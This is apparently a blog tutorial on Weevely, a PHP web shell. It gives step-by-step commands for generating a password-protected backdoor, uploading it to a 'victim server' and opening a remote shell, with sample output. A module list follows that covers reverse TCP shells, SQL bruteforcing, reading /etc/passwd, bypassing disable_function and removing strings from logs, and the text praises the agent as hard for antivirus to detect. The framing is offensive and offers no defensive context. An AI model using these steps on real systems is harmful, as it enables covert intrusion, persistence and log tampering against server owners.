Generating A PHP Backdoor with Weevely

Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.


How to install: 

sudo apt install weevely


[email protected]:~# weevely -h
usage: weevely [-h] {terminal,session,generate} ...

positional arguments:
    terminal            Run terminal or command on the target
    session             Recover an existing session
    generate            Generate new agent

  -h, --help            show this help message and exit

Generating a PHP Backdoor

For demonstration purposes, we will use Weevely to create a backdoor agent, which will be deployed on the target server. We just need to specify a password and a filename. The password will be used to access the backdoor later on.

[email protected]:weevely generate 123 backdoor.php

--> Generated backdoor with password '123' in 'backdoor.php' of 1332 byte size.
--> backdoor.php contains the following encoded file.

Uploading the Backdoor to the victim server

Uploaded to the victim server. Then, instead of accessing the file through the browser, we connect to it using shell.

[email protected]: weevely http://localhost/include/backdoor.php 123
--> [+] weevely 3.2.0
[+] Target: [email protected]:/var/www/html
[+] Session: /root/.weevely/sessions/localhost/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

We now have backdoor access to the target server, and we can execute commands.

weevely> uname -a

--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

[email protected]:/var/www/html $

Useful information



weevely generate <password> <path>
weevely <URL> <password> [cmd]


Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network.

Read the Install page to install weevely and its dependencies.

Read the Getting Started page to generate an agent and connect to it.

Browse the Wiki to read examples and use cases.


  • Shell access to the target
  • SQL console pivoting on the target
  • HTTP/HTTPS proxy to browse through the target
  • Upload and download files
  • Spawn reverse and direct TCP shells
  • Audit remote target security
  • Port scan pivoting on target
  • Mount the remote filesystem
  • Bruteforce SQL accounts pivoting on the target


The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.


:audit_filesystemAudit the file system for weak permissions.
:audit_suidsgidFind files with SUID or SGID flags.
:audit_disablefunctionbypassBypass disable_function restrictions with mod_cgi and .htaccess.
:audit_etcpasswdRead /etc/passwd with different techniques.
:audit_phpconfAudit PHP configuration.
:shell_shExecute shell commands.
:shell_suExecute commands with su.
:shell_phpExecute PHP commands.
:system_extensionsCollect PHP and webserver extension list.
:system_infoCollect system information.
:system_procsList running processes.
:backdoor_reversetcpExecute a reverse TCP shell.
:backdoor_tcpSpawn a shell on a TCP port.
:bruteforce_sqlBruteforce SQL database.
:file_gzipCompress or expand gzip files.
:file_clearlogRemove string from a file.
:file_checkGet attributes and permissions of a file.
:file_uploadUpload file to remote filesystem.
:file_webdownloadDownload an URL.
:file_tarCompress or expand tar archives.
:file_downloadDownload file from remote filesystem.
:file_bzip2Compress or expand bzip2 files.
:file_editEdit remote file on a local editor.
:file_grepPrint lines matching a pattern in multiple files.
:file_lsList directory content.
:file_cpCopy single file.
:file_rmRemove remote file.
:file_upload2webUpload file automatically to a web folder and get corresponding URL.
:file_zipCompress or expand zip files.
:file_touchChange file timestamp.
:file_findFind files with given names and attributes.
:file_mountMount remote filesystem using HTTPfs.
:file_enumCheck existence and permissions of a list of paths.
:file_readRead remote file from the remote filesystem.
:file_cdChange current working directory.
:sql_consoleExecute SQL query or run console.
:sql_dumpMulti dbms mysqldump replacement.
:net_mailSend mail.
:net_phpproxyInstall PHP proxy on the target.
:net_curlPerform a curl-like HTTP request.
:net_proxyRun local proxy to pivot HTTP/HTTPS browsing through the target.
:net_scanTCP Port scan.
:net_ifconfigGet network interfaces addresses.


Weevely is easily extendible to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a lot of other cool stuff.